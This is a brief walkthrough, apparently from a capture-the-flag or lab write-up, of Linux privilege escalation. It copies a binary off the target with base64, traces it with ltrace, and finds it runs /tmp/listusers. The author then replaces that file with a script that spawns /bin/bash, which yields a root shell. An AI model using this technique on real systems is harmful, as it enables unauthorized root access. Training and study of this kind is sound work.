Extracting file from the target and analyze it with ltrace

Now let's transfer the file over to kali and analyze it.

1. base64 -w0 /usr/bin/viewuser this will encode the file into base64. -w0 eliminates line wrapping.

2. base64 textfile.txt --decode

3. use "ltrace" to analyze it.

​executing /tmp/listusersif we replace this file with a shell, we can get a root.replaced the content with ​👍

#!/bin/bash
/bin/bash

​ran the viewuser app